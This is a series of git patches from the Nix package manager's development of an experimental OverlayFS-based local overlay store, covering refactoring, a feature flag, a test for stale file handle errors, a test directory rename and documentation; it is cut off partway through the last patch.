Fri, 28 Jul 2023 12:23:42 +0100 Subject: [PATCH 0102/1251] Update src/libstore/local-overlay-store.hh Co-authored-by: John Ericson --- src/libstore/local-overlay-store.hh | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index 21af396a6..b91f68eea 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -124,6 +124,13 @@ private: void optimiseStore() override; + /** + * Check all paths registered in the upper DB. + * + * Note that this includes store objects that reside in either overlayfs layer; just enumerating the contents of the upper layer would skip them. + * + * We don't verify the contents of both layers on the assumption that the lower layer is far bigger, and also the observation that anything not in the upper db the overlayfs doesn't yet care about. + */ bool verifyAllValidPaths(RepairFlag repair, StorePathSet & validPaths) override; /** From c409a753dbc6318f5454f058dbf55786327035b7 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Tue, 1 Aug 2023 11:11:16 +0100 Subject: [PATCH 0103/1251] Fix new lines in comment. --- src/libstore/local-overlay-store.hh | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index b91f68eea..874f3b779 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -127,9 +127,11 @@ private: /** * Check all paths registered in the upper DB. * - * Note that this includes store objects that reside in either overlayfs layer; just enumerating the contents of the upper layer would skip them. + * Note that this includes store objects that reside in either overlayfs layer; + * just enumerating the contents of the upper layer would skip them. * - * We don't verify the contents of both layers on the assumption that the lower layer is far bigger, and also the observation that anything not in the upper db the overlayfs doesn't yet care about. + * We don't verify the contents of both layers on the assumption that the lower layer is far bigger, + * and also the observation that anything not in the upper db the overlayfs doesn't yet care about. */ bool verifyAllValidPaths(RepairFlag repair, StorePathSet & validPaths) override; From c712369ec597c706f985f2f998215f5ab913d61a Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Tue, 1 Aug 2023 11:55:55 +0100 Subject: [PATCH 0104/1251] Document remount-hook store parameter. --- src/libstore/local-overlay-store.hh | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index 874f3b779..c0fa0ffa7 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -43,9 +43,15 @@ struct LocalOverlayStoreConfig : virtual LocalStoreConfig const PathSetting remountHook{(StoreConfig*) this, "", "remount-hook", R"( - Script or program to run when overlay filesystem needs remounting. + Script or other executable to run when overlay filesystem needs remounting. - TODO: Document this in more detail. + This is occasionally necessary when deleting a store path that exists in both upper and lower layers. + In such a situation, bypassing OverlayFS and deleting the path in the upper layer directly + is the only way to perform the deletion without creating a "whiteout". + However this causes the OverlayFS kernel data structures to get out-of-sync, + and can lead to 'stale file handle' errors; remounting solves the problem. + + The store directory is passed as an argument to the invoked executable. )"}; const std::string name() override { return "Experimental Local Overlay Store"; } From 19164cf727030dc75c11533f11dc84645658b7c3 Mon Sep 17 00:00:00 2001 From: Ben Radford Date: Tue, 1 Aug 2023 12:49:46 +0100 Subject: [PATCH 0105/1251] Test that remounting fixes 'stale file handle' errors. --- tests/overlay-local-store/local.mk | 3 +- .../stale-file-handle-inner.sh | 47 +++++++++++++++++++ .../overlay-local-store/stale-file-handle.sh | 5 ++ 3 files changed, 54 insertions(+), 1 deletion(-) create mode 100755 tests/overlay-local-store/stale-file-handle-inner.sh create mode 100755 tests/overlay-local-store/stale-file-handle.sh diff --git a/tests/overlay-local-store/local.mk b/tests/overlay-local-store/local.mk index 19ae6a3d0..34056683d 100644 --- a/tests/overlay-local-store/local.mk +++ b/tests/overlay-local-store/local.mk @@ -8,6 +8,7 @@ overlay-local-store-tests := \ $(d)/delete-duplicate.sh \ $(d)/gc.sh \ $(d)/verify.sh \ - $(d)/optimise.sh + $(d)/optimise.sh \ + $(d)/stale-file-handle.sh install-tests-groups += overlay-local-store diff --git a/tests/overlay-local-store/stale-file-handle-inner.sh b/tests/overlay-local-store/stale-file-handle-inner.sh new file mode 100755 index 000000000..86e39fa40 --- /dev/null +++ b/tests/overlay-local-store/stale-file-handle-inner.sh @@ -0,0 +1,47 @@ +#!/usr/bin/env bash + +set -eu -o pipefail + +set -x + +source common.sh + +# Avoid store dir being inside sandbox build-dir +unset NIX_STORE_DIR +unset NIX_STATE_DIR + +storeDirs + +initLowerStore + +mountOverlayfs + +buildInStore () { + nix-build --store "$1" ../hermetic.nix --arg busybox "$busybox" --arg seed 1 --no-out-link +} + +triggerStaleFileHandle () { + # Arrange it so there are duplicate paths + nix-store --store "$storeA" --gc # Clear lower store + buildInStore "$storeB" # Build into upper layer first + buildInStore "$storeA" # Then build in lower store + + # Duplicate paths mean GC will have to delete via upper layer + nix-store --store "$storeB" --gc + + # Clear lower store again to force building in upper layer + nix-store --store "$storeA" --gc + + # Now attempting to build in upper layer will fail + buildInStore "$storeB" +} + +# Without remounting, we should encounter errors +expectStderr 1 triggerStaleFileHandle | grepQuiet 'Stale file handle' + +# Configure remount-hook and reset OverlayFS +storeB="$storeB&remount-hook=$PWD/remount.sh" +remountOverlayfs + +# Now it should succeed +triggerStaleFileHandle diff --git a/tests/overlay-local-store/stale-file-handle.sh b/tests/overlay-local-store/stale-file-handle.sh new file mode 100755 index 000000000..5e75628ca --- /dev/null +++ b/tests/overlay-local-store/stale-file-handle.sh @@ -0,0 +1,5 @@ +source common.sh + +requireEnvironment +setupConfig +execUnshare ./stale-file-handle-inner.sh From 6b297e5895e62d91963be49e5d301604d0b8fd09 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 2 Aug 2023 14:38:22 -0400 Subject: [PATCH 0106/1251] Make `verifyAllValidPaths` more functional return map rather than mutate one passed in by reference --- src/libstore/local-overlay-store.cc | 8 +++++--- src/libstore/local-overlay-store.hh | 4 ++-- src/libstore/local-store.cc | 12 ++++++------ src/libstore/local-store.hh | 7 ++++++- 4 files changed, 19 insertions(+), 12 deletions(-) diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index 4bfad6d32..4ba98a02d 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -243,19 +243,21 @@ void LocalOverlayStore::optimiseStore() } -bool LocalOverlayStore::verifyAllValidPaths(RepairFlag repair, StorePathSet & validPaths) +std::pair LocalOverlayStore::verifyAllValidPaths(RepairFlag repair) { StorePathSet done; - bool errors = false; auto existsInStoreDir = [&](const StorePath & storePath) { return pathExists(realStoreDir.get() + "/" + storePath.to_string()); }; + bool errors = false; + StorePathSet validPaths; + for (auto & i : queryAllValidPaths()) verifyPath(i, existsInStoreDir, done, validPaths, repair, errors); - return errors; + return { errors, validPaths }; } diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index c0fa0ffa7..40ee75bca 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -135,11 +135,11 @@ private: * * Note that this includes store objects that reside in either overlayfs layer; * just enumerating the contents of the upper layer would skip them. - * + * * We don't verify the contents of both layers on the assumption that the lower layer is far bigger, * and also the observation that anything not in the upper db the overlayfs doesn't yet care about. */ - bool verifyAllValidPaths(RepairFlag repair, StorePathSet & validPaths) override; + std::pair verifyAllValidPaths(RepairFlag repair) override; /** * For lower-store paths, we used the lower store location. This avoids the diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index 2e662ad66..42347d80a 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -1503,9 +1503,7 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair) auto fdGCLock = openGCLock(); FdLock gcLock(fdGCLock.get(), ltRead, true, "waiting for the big garbage collector lock..."); - StorePathSet validPaths; - - bool errors = verifyAllValidPaths(repair, validPaths); + auto [errors, validPaths] = verifyAllValidPaths(repair); /* Optionally, check the content hashes (slow). */ if (checkContents) { @@ -1591,7 +1589,7 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair) } -bool LocalStore::verifyAllValidPaths(RepairFlag repair, StorePathSet & validPaths) +std::pair LocalStore::verifyAllValidPaths(RepairFlag repair) { StorePathSet storePathsInStoreDir; /* Why aren't we using `queryAllValidPaths`? Because that would @@ -1613,16 +1611,18 @@ bool LocalStore::verifyAllValidPaths(RepairFlag repair, StorePathSet & validPath printInfo("checking path existence..."); StorePathSet done; - bool errors = false; auto existsInStoreDir = [&](const StorePath & storePath) { return storePathsInStoreDir.count(storePath); }; + bool errors = false; + StorePathSet validPaths; + for (auto & i : queryAllValidPaths()) verifyPath(i, existsInStoreDir, done, validPaths, repair, errors); - return errors; + return { errors, validPaths }; } diff --git a/src/libstore/local-store.hh b/src/libstore/local-store.hh index 322d27932..88549eea5 100644 --- a/src/libstore/local-store.hh +++ b/src/libstore/local-store.hh @@ -265,7 +265,12 @@ public: bool verifyStore(bool checkContents, RepairFlag repair) override; - virtual bool verifyAllValidPaths(RepairFlag repair, StorePathSet & validPaths); + /** + * @return A pair of whether any errors were encountered, and a set of + * (so-far) valid paths. The store objects pointed to by those paths are + * suitable for further validation checking. + */ + virtual std::pair verifyAllValidPaths(RepairFlag repair); /** * Register the validity of a path, i.e., that `path` exists, that From 4b9a6218125c23e95b7397069f6fc2796fb70fd2 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 2 Aug 2023 20:30:42 -0400 Subject: [PATCH 0107/1251] Guard the local overlay store behind an experimental feature --- src/libstore/local-overlay-store.hh | 5 +++++ src/libstore/store-api.cc | 5 ++++- src/libutil/experimental-features.cc | 9 ++++++++- src/libutil/experimental-features.hh | 1 + tests/overlay-local-store/common.sh | 2 +- 5 files changed, 19 insertions(+), 3 deletions(-) diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index 40ee75bca..44f0c77c8 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -56,6 +56,11 @@ struct LocalOverlayStoreConfig : virtual LocalStoreConfig const std::string name() override { return "Experimental Local Overlay Store"; } + std::optional experimentalFeature() const override + { + return ExperimentalFeature::LocalOverlayStore; + } + std::string doc() override { return diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc index 1fbf8995b..1863a0876 100644 --- a/src/libstore/store-api.cc +++ b/src/libstore/store-api.cc @@ -1444,7 +1444,9 @@ std::shared_ptr openFromNonUri(const std::string & uri, const Store::Para } else if (uri == "local") { return std::make_shared(params); } else if (uri == "local-overlay") { - return std::make_shared(params); + auto store = std::make_shared(params); + experimentalFeatureSettings.require(store->experimentalFeature()); + return store; } else if (isNonUriPath(uri)) { Store::Params params2 = params; params2["root"] = absPath(uri); @@ -1512,6 +1514,7 @@ ref openStore(const std::string & uri_, params.insert(uriParams.begin(), uriParams.end()); if (auto store = openFromNonUri(uri, params)) { + experimentalFeatureSettings.require(store->experimentalFeature()); store->warnUnknownSettings(); return ref(store); } diff --git a/src/libutil/experimental-features.cc b/src/libutil/experimental-features.cc index 7c4112d32..422d18522 100644 --- a/src/libutil/experimental-features.cc +++ b/src/libutil/experimental-features.cc @@ -12,7 +12,7 @@ struct ExperimentalFeatureDetails std::string_view description; }; -constexpr std::array xpFeatureDetails = {{ +constexpr std::array xpFeatureDetails = {{ { .tag = Xp::CaDerivations, .name = "ca-derivations", @@ -228,6 +228,13 @@ constexpr std::array xpFeatureDetails = {{ Allow the use of the `read-only` parameter in [local store](@docroot@/command-ref/new-cli/nix3-help-stores.md#local-store) URIs. )", }, + { + .tag = Xp::LocalOverlayStore, + .name = "local-overlay-store", + .description = R"( + Allow the use of [local overlay store](@docroot@/command-ref/new-cli/nix3-help-stores.md#local-overlay-store). + )", + }, }}; static_assert( diff --git a/src/libutil/experimental-features.hh b/src/libutil/experimental-features.hh index faf2e9398..c044a858e 100644 --- a/src/libutil/experimental-features.hh +++ b/src/libutil/experimental-features.hh @@ -32,6 +32,7 @@ enum struct ExperimentalFeature DynamicDerivations, ParseTomlTimestamps, ReadOnlyLocalStore, + LocalOverlayStore, }; /** diff --git a/tests/overlay-local-store/common.sh b/tests/overlay-local-store/common.sh index 6bb5bc391..2d614b140 100644 --- a/tests/overlay-local-store/common.sh +++ b/tests/overlay-local-store/common.sh @@ -16,7 +16,7 @@ setupConfig () { addConfig "build-users-group = " } - +enableFeatures "local-overlay-store" storeDirs () { # Attempt to create store dirs on tmpfs volume. From 2556c4d7531c1303ec3e5db5d5dd1b3a9b91a3b4 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 2 Aug 2023 20:32:45 -0400 Subject: [PATCH 0108/1251] Rename test group `overlay-local-store` -> `local-overlay-store` Makes it match the store name (`local-overlay`) and experimental feature name (`local-overlay-store`)._ --- Makefile | 2 +- .../add-lower-inner.sh | 0 .../{overlay-local-store => local-overlay-store}/add-lower.sh | 0 .../{overlay-local-store => local-overlay-store}/bad-uris.sh | 0 .../build-inner.sh | 0 tests/{overlay-local-store => local-overlay-store}/build.sh | 0 .../check-post-init-inner.sh | 0 .../check-post-init.sh | 0 tests/{overlay-local-store => local-overlay-store}/common.sh | 0 .../delete-duplicate-inner.sh | 0 .../delete-duplicate.sh | 0 .../delete-refs-inner.sh | 0 .../delete-refs.sh | 0 .../{overlay-local-store => local-overlay-store}/gc-inner.sh | 0 tests/{overlay-local-store => local-overlay-store}/gc.sh | 0 tests/{overlay-local-store => local-overlay-store}/local.mk | 4 ++-- .../optimise-inner.sh | 0 .../{overlay-local-store => local-overlay-store}/optimise.sh | 0 .../redundant-add-inner.sh | 0 .../redundant-add.sh | 0 tests/{overlay-local-store => local-overlay-store}/remount.sh | 0 .../stale-file-handle-inner.sh | 0 .../stale-file-handle.sh | 0 .../verify-inner.sh | 0 tests/{overlay-local-store => local-overlay-store}/verify.sh | 0 25 files changed, 3 insertions(+), 3 deletions(-) rename tests/{overlay-local-store => local-overlay-store}/add-lower-inner.sh (100%) rename tests/{overlay-local-store => local-overlay-store}/add-lower.sh (100%) rename tests/{overlay-local-store => local-overlay-store}/bad-uris.sh (100%) rename tests/{overlay-local-store => local-overlay-store}/build-inner.sh (100%) rename tests/{overlay-local-store => local-overlay-store}/build.sh (100%) rename tests/{overlay-local-store => local-overlay-store}/check-post-init-inner.sh (100%) rename tests/{overlay-local-store => local-overlay-store}/check-post-init.sh (100%) rename tests/{overlay-local-store => local-overlay-store}/common.sh (100%) rename tests/{overlay-local-store => local-overlay-store}/delete-duplicate-inner.sh (100%) rename tests/{overlay-local-store => local-overlay-store}/delete-duplicate.sh (100%) rename tests/{overlay-local-store => local-overlay-store}/delete-refs-inner.sh (100%) rename tests/{overlay-local-store => local-overlay-store}/delete-refs.sh (100%) rename tests/{overlay-local-store => local-overlay-store}/gc-inner.sh (100%) rename tests/{overlay-local-store => local-overlay-store}/gc.sh (100%) rename tests/{overlay-local-store => local-overlay-store}/local.mk (77%) rename tests/{overlay-local-store => local-overlay-store}/optimise-inner.sh (100%) rename tests/{overlay-local-store => local-overlay-store}/optimise.sh (100%) rename tests/{overlay-local-store => local-overlay-store}/redundant-add-inner.sh (100%) rename tests/{overlay-local-store => local-overlay-store}/redundant-add.sh (100%) rename tests/{overlay-local-store => local-overlay-store}/remount.sh (100%) rename tests/{overlay-local-store => local-overlay-store}/stale-file-handle-inner.sh (100%) rename tests/{overlay-local-store => local-overlay-store}/stale-file-handle.sh (100%) rename tests/{overlay-local-store => local-overlay-store}/verify-inner.sh (100%) rename tests/{overlay-local-store => local-overlay-store}/verify.sh (100%) diff --git a/Makefile b/Makefile index 715830811..ea15b03db 100644 --- a/Makefile +++ b/Makefile @@ -29,7 +29,7 @@ makefiles += \ tests/local.mk \ tests/ca/local.mk \ tests/dyn-drv/local.mk \ - tests/overlay-local-store/local.mk \ + tests/local-overlay-store/local.mk \ tests/test-libstoreconsumer/local.mk \ tests/plugins/local.mk else diff --git a/tests/overlay-local-store/add-lower-inner.sh b/tests/local-overlay-store/add-lower-inner.sh similarity index 100% rename from tests/overlay-local-store/add-lower-inner.sh rename to tests/local-overlay-store/add-lower-inner.sh diff --git a/tests/overlay-local-store/add-lower.sh b/tests/local-overlay-store/add-lower.sh similarity index 100% rename from tests/overlay-local-store/add-lower.sh rename to tests/local-overlay-store/add-lower.sh diff --git a/tests/overlay-local-store/bad-uris.sh b/tests/local-overlay-store/bad-uris.sh similarity index 100% rename from tests/overlay-local-store/bad-uris.sh rename to tests/local-overlay-store/bad-uris.sh diff --git a/tests/overlay-local-store/build-inner.sh b/tests/local-overlay-store/build-inner.sh similarity index 100% rename from tests/overlay-local-store/build-inner.sh rename to tests/local-overlay-store/build-inner.sh diff --git a/tests/overlay-local-store/build.sh b/tests/local-overlay-store/build.sh similarity index 100% rename from tests/overlay-local-store/build.sh rename to tests/local-overlay-store/build.sh diff --git a/tests/overlay-local-store/check-post-init-inner.sh b/tests/local-overlay-store/check-post-init-inner.sh similarity index 100% rename from tests/overlay-local-store/check-post-init-inner.sh rename to tests/local-overlay-store/check-post-init-inner.sh diff --git a/tests/overlay-local-store/check-post-init.sh b/tests/local-overlay-store/check-post-init.sh similarity index 100% rename from tests/overlay-local-store/check-post-init.sh rename to tests/local-overlay-store/check-post-init.sh diff --git a/tests/overlay-local-store/common.sh b/tests/local-overlay-store/common.sh similarity index 100% rename from tests/overlay-local-store/common.sh rename to tests/local-overlay-store/common.sh diff --git a/tests/overlay-local-store/delete-duplicate-inner.sh b/tests/local-overlay-store/delete-duplicate-inner.sh similarity index 100% rename from tests/overlay-local-store/delete-duplicate-inner.sh rename to tests/local-overlay-store/delete-duplicate-inner.sh diff --git a/tests/overlay-local-store/delete-duplicate.sh b/tests/local-overlay-store/delete-duplicate.sh similarity index 100% rename from tests/overlay-local-store/delete-duplicate.sh rename to tests/local-overlay-store/delete-duplicate.sh diff --git a/tests/overlay-local-store/delete-refs-inner.sh b/tests/local-overlay-store/delete-refs-inner.sh similarity index 100% rename from tests/overlay-local-store/delete-refs-inner.sh rename to tests/local-overlay-store/delete-refs-inner.sh diff --git a/tests/overlay-local-store/delete-refs.sh b/tests/local-overlay-store/delete-refs.sh similarity index 100% rename from tests/overlay-local-store/delete-refs.sh rename to tests/local-overlay-store/delete-refs.sh diff --git a/tests/overlay-local-store/gc-inner.sh b/tests/local-overlay-store/gc-inner.sh similarity index 100% rename from tests/overlay-local-store/gc-inner.sh rename to tests/local-overlay-store/gc-inner.sh diff --git a/tests/overlay-local-store/gc.sh b/tests/local-overlay-store/gc.sh similarity index 100% rename from tests/overlay-local-store/gc.sh rename to tests/local-overlay-store/gc.sh diff --git a/tests/overlay-local-store/local.mk b/tests/local-overlay-store/local.mk similarity index 77% rename from tests/overlay-local-store/local.mk rename to tests/local-overlay-store/local.mk index 34056683d..6348a4423 100644 --- a/tests/overlay-local-store/local.mk +++ b/tests/local-overlay-store/local.mk @@ -1,4 +1,4 @@ -overlay-local-store-tests := \ +local-overlay-store-tests := \ $(d)/check-post-init.sh \ $(d)/redundant-add.sh \ $(d)/build.sh \ @@ -11,4 +11,4 @@ overlay-local-store-tests := \ $(d)/optimise.sh \ $(d)/stale-file-handle.sh -install-tests-groups += overlay-local-store +install-tests-groups += local-overlay-store diff --git a/tests/overlay-local-store/optimise-inner.sh b/tests/local-overlay-store/optimise-inner.sh similarity index 100% rename from tests/overlay-local-store/optimise-inner.sh rename to tests/local-overlay-store/optimise-inner.sh diff --git a/tests/overlay-local-store/optimise.sh b/tests/local-overlay-store/optimise.sh similarity index 100% rename from tests/overlay-local-store/optimise.sh rename to tests/local-overlay-store/optimise.sh diff --git a/tests/overlay-local-store/redundant-add-inner.sh b/tests/local-overlay-store/redundant-add-inner.sh similarity index 100% rename from tests/overlay-local-store/redundant-add-inner.sh rename to tests/local-overlay-store/redundant-add-inner.sh diff --git a/tests/overlay-local-store/redundant-add.sh b/tests/local-overlay-store/redundant-add.sh similarity index 100% rename from tests/overlay-local-store/redundant-add.sh rename to tests/local-overlay-store/redundant-add.sh diff --git a/tests/overlay-local-store/remount.sh b/tests/local-overlay-store/remount.sh similarity index 100% rename from tests/overlay-local-store/remount.sh rename to tests/local-overlay-store/remount.sh diff --git a/tests/overlay-local-store/stale-file-handle-inner.sh b/tests/local-overlay-store/stale-file-handle-inner.sh similarity index 100% rename from tests/overlay-local-store/stale-file-handle-inner.sh rename to tests/local-overlay-store/stale-file-handle-inner.sh diff --git a/tests/overlay-local-store/stale-file-handle.sh b/tests/local-overlay-store/stale-file-handle.sh similarity index 100% rename from tests/overlay-local-store/stale-file-handle.sh rename to tests/local-overlay-store/stale-file-handle.sh diff --git a/tests/overlay-local-store/verify-inner.sh b/tests/local-overlay-store/verify-inner.sh similarity index 100% rename from tests/overlay-local-store/verify-inner.sh rename to tests/local-overlay-store/verify-inner.sh diff --git a/tests/overlay-local-store/verify.sh b/tests/local-overlay-store/verify.sh similarity index 100% rename from tests/overlay-local-store/verify.sh rename to tests/local-overlay-store/verify.sh From 4f5b01f5cd83f1ce0d36ea8f4be8b06e9526cbe3 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 3 Aug 2023 11:59:04 -0400 Subject: [PATCH 0109/1251] Start to document the local-overlay store --- src/libstore/local-overlay-store.cc | 7 +++++++ src/libstore/local-overlay-store.hh | 9 +-------- src/libstore/local-overlay-store.md | 7 +++++++ 3 files changed, 15 insertions(+), 8 deletions(-) create mode 100644 src/libstore/local-overlay-store.md diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index 4ba98a02d..73902e9ba 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -5,6 +5,13 @@ namespace nix { +std::string LocalOverlayStoreConfig::doc() +{ + return + #include "local-overlay-store.md" + ; +} + Path LocalOverlayStoreConfig::toUpperPath(const StorePath & path) { return upperLayer + "/" + path.to_string(); } diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index 44f0c77c8..e3fda2f93 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -61,14 +61,7 @@ struct LocalOverlayStoreConfig : virtual LocalStoreConfig return ExperimentalFeature::LocalOverlayStore; } - std::string doc() override - { - return - "" - // FIXME write docs - //#include "local-overlay-store.md" - ; - } + std::string doc() override; /** * Given a store path, get its location (if it is exists) in the diff --git a/src/libstore/local-overlay-store.md b/src/libstore/local-overlay-store.md new file mode 100644 index 000000000..0b8a1786b --- /dev/null +++ b/src/libstore/local-overlay-store.md @@ -0,0 +1,7 @@ +R"( + +**Store URL format**: `local-overlay` + +This store type is a variation of the [local store](#local-store) designed to leverage overlayfs. + +)" From 4d99e407fd8c2a257304a622b93abd69149413fc Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 3 Aug 2023 12:12:21 -0400 Subject: [PATCH 0110/1251] Remove FIXME on why something doesn't work I now know it is due to https://github.com/llvm/llvm-project/issues/64108. The workaround is just fine and already in use in this codebase. --- src/libstore/local-overlay-store.hh | 3 --- 1 file changed, 3 deletions(-) diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index e3fda2f93..12e49e6d2 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -7,9 +7,6 @@ namespace nix { */ struct LocalOverlayStoreConfig : virtual LocalStoreConfig { - // FIXME why doesn't this work? - // using LocalStoreConfig::LocalStoreConfig; - LocalOverlayStoreConfig(const StringMap & params) : StoreConfig(params) , LocalFSStoreConfig(params) From 7ad16c9d1283c14df410a933eff560da258c11bf Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 3 Aug 2023 16:10:32 -0400 Subject: [PATCH 0111/1251] Add some docs for the local overlay store --- src/libstore/local-overlay-store.md | 49 ++++++++++++++++++++++++++++- 1 file changed, 48 insertions(+), 1 deletion(-) diff --git a/src/libstore/local-overlay-store.md b/src/libstore/local-overlay-store.md index 0b8a1786b..a0b9c3adf 100644 --- a/src/libstore/local-overlay-store.md +++ b/src/libstore/local-overlay-store.md @@ -2,6 +2,53 @@ R"( **Store URL format**: `local-overlay` -This store type is a variation of the [local store](#local-store) designed to leverage overlayfs. +This store type is a variation of the [local store] designed to leverage Linux's [Overlay Filesystem](https://docs.kernel.org/filesystems/overlayfs.html) (OverlayFS for short). +Just as OverlayFS combines a lower and upper filesystem by treating the upper one as a patch against the lower, the local overlay store combines a lower store with an upper almost [local store]. +("almost" because while the upper fileystems for OverlayFS is valid on its own, the upper almost-store is not a valid local store on its own because some references will dangle.) + +### Parts of a local overlay store + +The parts of a local overlay store are as follows: + +- Lower store: + + This is any store implementation that includes a store directory as part of the native operating system filesystem. + For example, this could be a [local store], [local daemon store], or even another local overlay store. + + Specified with the `lower-store` setting. + + - Lower store directory. + This is the directory used/exposed by the lower store. + + Specified with `lower-store.real` setting. + + - Lower abstract read-only metadata source. + This is abstract, just some way to read the metadata of lower store [store objects](@docroot@/glossary.md#gloss-store-object). + For example it could be a SQLite database (for the [local store]), or a socket connection (for the [local daemon store]). + +- Upper almost-store: + + This is a [local store] that by itself would appear corrupted. + But combined with everything else as part of an overlay local store, it is valid. + + - Upper layer directory. + This contains additional [store objects] + (or, strictly speaking, their [file system objects](#gloss-file-system-object)) + that the local overlay store will extend the lower store with. + + Specified with `upper-layer` setting. + + - Upper store directory + The lower store directory and upper layer directory are combined via OverlayFS to create this directory. + This contains all the store objects from each of the two directories. + + Specified with the `real` setting. + + - Upper SQLite database + This contains the metadata of all of the upper layer [store objects]: everything beyond their file system objects, and also duplicate copies of some lower layer ones. + The duplication is so the metadata for the [closure](@docroot@/glossary.md#gloss-closure) of upper layer [store objects] can entirely be found in the upper layer. + This allows us to use the same SQL Schema as the [local store]'s SQLite database, as foreign keys in that schema enforce closure metadata to be self-contained in this way. + + Specified with the `state` setting, is always `${state}/db`. )" From d137002e941ffdaa46efdffbca9fdc6fbb108522 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 3 Aug 2023 17:28:18 -0400 Subject: [PATCH 0112/1251] Add API docs for all overridden local overlay methods These docs explain the implementation relative to the local store originals. The original declaration of virtual methods can still be consulted for proper interface-level documentation. --- src/libstore/local-overlay-store.hh | 64 +++++++++++++++++++++++++++-- 1 file changed, 61 insertions(+), 3 deletions(-) diff --git a/src/libstore/local-overlay-store.hh b/src/libstore/local-overlay-store.hh index 12e49e6d2..8ed7516db 100644 --- a/src/libstore/local-overlay-store.hh +++ b/src/libstore/local-overlay-store.hh @@ -68,7 +68,10 @@ struct LocalOverlayStoreConfig : virtual LocalStoreConfig }; /** - * Variation of local store using overlayfs for the store dir. + * Variation of local store using OverlayFS for the store directory. + * + * Documentation on overridden methods states how they differ from their + * `LocalStore` counterparts. */ class LocalOverlayStore : public virtual LocalOverlayStoreConfig, public virtual LocalStore { @@ -99,30 +102,77 @@ public: } private: - // Overridden methods… - + /** + * First copy up any lower store realisation with the same key, so we + * merge rather than mask it. + */ void registerDrvOutput(const Realisation & info) override; + /** + * Check lower store if upper DB does not have. + */ void queryPathInfoUncached(const StorePath & path, Callback> callback) noexcept override; + /** + * Check lower store if upper DB does not have. + * + * In addition, copy up metadata for lower store objects (and their + * closure). (I.e. Optimistically cache in the upper DB.) + */ bool isValidPathUncached(const StorePath & path) override; + /** + * Check the lower store and upper DB. + */ void queryReferrers(const StorePath & path, StorePathSet & referrers) override; + /** + * Check the lower store and upper DB. + */ StorePathSet queryValidDerivers(const StorePath & path) override; + /** + * Check lower store if upper DB does not have. + */ std::optional queryPathFromHashPart(const std::string & hashPart) override; + /** + * First copy up any lower store realisation with the same key, so we + * merge rather than mask it. + */ void registerValidPaths(const ValidPathInfos & infos) override; + /** + * Check lower store if upper DB does not have. + */ void queryRealisationUncached(const DrvOutput&, Callback> callback) noexcept override; + /** + * Call `remountIfNecessary` after collecting garbage normally. + */ void collectGarbage(const GCOptions & options, GCResults & results) override; + /** + * Check which layers the store object exists in to try to avoid + * needing to remount. + */ void deleteStorePath(const Path & path, uint64_t & bytesFreed) override; + /** + * Deduplicate by removing store objects from the upper layer that + * are now in the lower layer. + * + * This implementation will not cause duplications, but addition of + * new store objects to the lower layer can instill induce them + * (there is no way to prevent that). This cleans up those + * duplications. + * + * @note We do not yet optomise the upper layer in the normal way + * (hardlink) yet. We would like to, but it requires more + * refactoring of existing code to support this sustainably. + */ void optimiseStore() override; /** @@ -147,8 +197,16 @@ private: */ void queryGCReferrers(const StorePath & path, StorePathSet & referrers) override; + /** + * Call the `remountHook` if we have done something such that the + * OverlayFS needed to be remounted. See that hook's user-facing + * documentation for further details. + */ void remountIfNecessary(); + /** + * State for `remountIfNecessary` + */ std::atomic_bool _remountRequired = false; }; From 6f0a95897cacf6edb8d753e19aedf2f4f1f12108 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 25 Oct 2023 14:20:40 -0400 Subject: [PATCH 0113/1251] Revert "Fix hard linking issue causing overlay fs copy-ups" This reverts commit 9ef0a9e8aa2e27991434c104ad73b1b95b241f08. Master now has a better solution. --- src/libstore/build/local-derivation-goal.cc | 7 +++---- src/libstore/local-fs-store.hh | 10 ---------- src/libstore/local-overlay-store.cc | 8 -------- src/libstore/local-overlay-store.hh | 6 ------ 4 files changed, 3 insertions(+), 28 deletions(-) diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc index 9da3afffd..40a0385af 100644 --- a/src/libstore/build/local-derivation-goal.cc +++ b/src/libstore/build/local-derivation-goal.cc @@ -388,9 +388,8 @@ void LocalDerivationGoal::cleanupPostOutputsRegisteredModeNonCheck() #if __linux__ -static void 